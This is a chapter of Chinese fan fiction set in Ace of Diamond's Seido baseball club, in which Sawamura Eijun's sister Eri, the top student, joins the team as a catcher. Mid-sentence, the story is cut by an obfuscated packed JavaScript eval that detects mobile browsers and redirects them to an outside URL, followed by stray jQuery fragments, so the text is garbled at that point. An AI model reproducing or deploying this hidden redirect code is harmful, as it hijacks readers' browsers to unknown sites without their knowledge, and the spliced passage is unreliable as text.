仓持洋一:“!!!” ‘你这个年纪怎么睡得着啊!’ ‘你给我对着正在玩的游戏道歉啊!’ 吐槽一句接着一句在脑海里闪过,仓持洋一完全想不到居然会有DK能拒绝游戏的诱惑,甚至是玩了有好一会的时候,说睡着就睡着。 ‘要不要这么养生啊!’ ‘作息习惯这么健康的吗!’ 虽然脑海里闪过的吐槽仍未停止,但是仓持洋一的动作变得很轻,默默地关上电视,默默地丢了张被子盖住躺地上睡着的泽村荣纯。 看这样子,仓持洋一觉得这位后辈明天说不定能起得比他和增子前辈还早。 第二天。 看着一副已经在训练场上绕着跑了有好几圈的后辈,仓持洋一眼睛疼似的闭上了眼。 ——作息要不要这么健康啊。 仓持洋一再一次在心里吐槽了一句。 在那之后过了有十分钟左右,青道高中棒球部全员集合完毕,确认了人数无误之后,棒球部主教练片冈铁心随即让新加入的选手进行自我介绍以及目标位置是哪里的说明。 虽然比大部分人都要早到,但是因为需要将负重放回原位,所以泽村荣纯的站位有些靠后,差不多是所有人都说完了,这才轮到他进行自我介绍。 拥有非常丰富的在众人面前演讲经历的泽村荣纯面对所有人看向自己的视线时,没有一丝慌乱,将早早准备好的自我介绍说了出来。 只不过—— 早早准备好的自我介绍因为话太多被要求简短一些,停顿了一下后,简短一些的自我介绍登场。 只是怎么听怎么觉得好像有点奇怪。 “……为了完成妹妹唯一的愿望,我一定会成为ACE,站在甲子园的投手丘上,赢得冠军,将投手丘上的土带回去!” “因此我不考虑投手以外的位置。” 让人想要问「你的妹妹现在还好吗?还健在吗?」这个问题。 一部分知晓泽村荣纯的妹妹不仅还健在,甚至实力说不定比在场的一部分人都要强劲的前辈沉默了。 他们感觉这位后辈待会可能要被妹妹制裁。 数分钟之后,新入部选手的自我介绍结束,随后是现役选手的自我介绍以及棒球部日常训练的一些安排。 由于早有准备,于是泽村荣纯这时候对于自己不能像过去那样一上来就是ACE,立刻就能带队去比赛的事有任何的心理落差。 只不过……虽然没有心理落差,但是太过自来熟的这一点仍然让人感觉到头疼,特别是主教练片冈铁心。 “大将!成为ACE要有什么特别的训练方法吗!大将!” “安静一些,还有大将这是什么称呼?” “喔喔喔!好的!BOSS!没问题的!BOSS!接下来小的就按要求去训练了BOSS!” “……” 沉默了一会后,片冈铁心默默地看向高岛礼,感觉到视线的高岛礼状似巧合一般转过头,避开了视线。 另一边。 包括新部员在内,很大一部分人对于泽村荣纯敢这么和教练说话的事感到震惊。 热情开朗的投手倒也不是不常见,但是像这样热情到还是新部员、还是初见面就敢这样骚扰教练,这已经不能用强心脏来解释了吧? ‘这绝对是笨蛋啊!’ 众人不约而同地在心里吐槽。 早晨的训练结束后,一部分新部员参加了开学式,流程进行到新生代表上台演讲的时候,金丸信二发现站在旁边的泽村荣纯突然躁动起来。 表现得就像是接下来要上台的人是自己一样。 “接下来由新生代表,泽村绘理……” 金丸信二:“……” ——等等! 突然意识到什么,金丸信二猛地看向演讲台,又猛地看向那个一脸蠢相的笨蛋投手。 ——泽村绘理、泽村荣纯……都是泽村,难道说?! 过了一会,忍了又忍,金丸信二实在忍不住好奇心,非常努力地压低声音向一旁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162242|196573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泽村荣纯询问:“台上那个新生代表,泽村你认识吗?” “当然认识啊,这是我妹妹绘理欸!” 泽村荣纯后面还说了很多话,但是金丸信二并没有在听,整个人完全陷入自我怀疑的世界里。 ——年级第一居然是这个笨蛋投手的妹妹?!!! ——这怎么可能啊! 在看到上课的表现差异一个天一个地的画面后,金丸信二又一次陷入自我怀疑的世界里。 ——难道泽村家的智商都给了妹妹吗? ——都是泽村!为什么差别这么大!啊……你这家伙头一低一低的绝对是想要睡觉吧?! 一节课下来,金丸信二后知后觉地反应过来自己完全没有听课。 时间很快过去,一天的课程结束,到天黑还有很长一段时间,拥有社团活动的人三三两两地走在一起往社团走去。 金丸信二虽然看不惯泽村荣纯大大咧咧、没点投手气概,但还是看在同期的面子上,约着一起回棒球部。 “喂,泽村,一起去训练吧。” 泽村荣纯下意识要答应,但在点头的时候突然看向泽村绘理,看人没有反应,这才应下金丸信二的邀请。 “喔喔喔!没问题!” 金丸信二注意到那一瞬间的停顿,但是没有多想,只以为是兄妹俩感情好,身为哥哥的泽村荣纯第一选择是顾着自己的妹妹,等三人都一同来到训练场之后,这才反应过来有哪里不对劲。 ——年级第一为什么还在? 金丸信二陷入了沉思。 在看到年级第一像是做了很多遍一样,熟练地穿戴好捕手装备,那个笨蛋投手还一副跃跃欲试的表现后,金丸信二更沉默了。 ——原来你会打棒球的吗?年级第一。 一个又一个的刺激接踵而来,金丸信二完全没注意到自己将泽村绘理的名字记为年级第一,随后在泽村绘理邀请其担任假想敌的时候,也是没有拒绝,愣愣地走上击球区。 ——蹲捕的动作看起来很专业的样子,不像是玩乐。 ——话说回来,虽然泽村看起来一副笨蛋的样子,但是投球真的像有那么一回事啊。为什么在青少棒的时候却从来没有听说过…… ——刚刚那个回传……年级第一你……我,哇,真的哇…… ——欸……虽然是假想敌训练,但是一球都抓不住啊。这是年级第一的原因,还是泽村那家伙的实力?难道说,看起来像笨蛋只是看起来吗? 即便是充当假想敌训练没多久就被前辈换下场,金丸信二的脑海里仍然弹幕似的弹出一句又一句吐槽,又或者是感慨。 一天的训练结束后,晚饭众人聚集在食堂的时候,所有人的目光都停留在与教练以及两位部长站在一起的泽村绘理身上。 过了一会,积压在众人心头一天之久的困惑终于被解答。 泽村绘理。 将会是棒球部的编外选手。 不是经理,也不是成员这种暧昧不清的说法,而是真真正正作为选手加入,并且看教练和两位部长的态度,泽村绘理停留的位置恐怕只有一个地方了。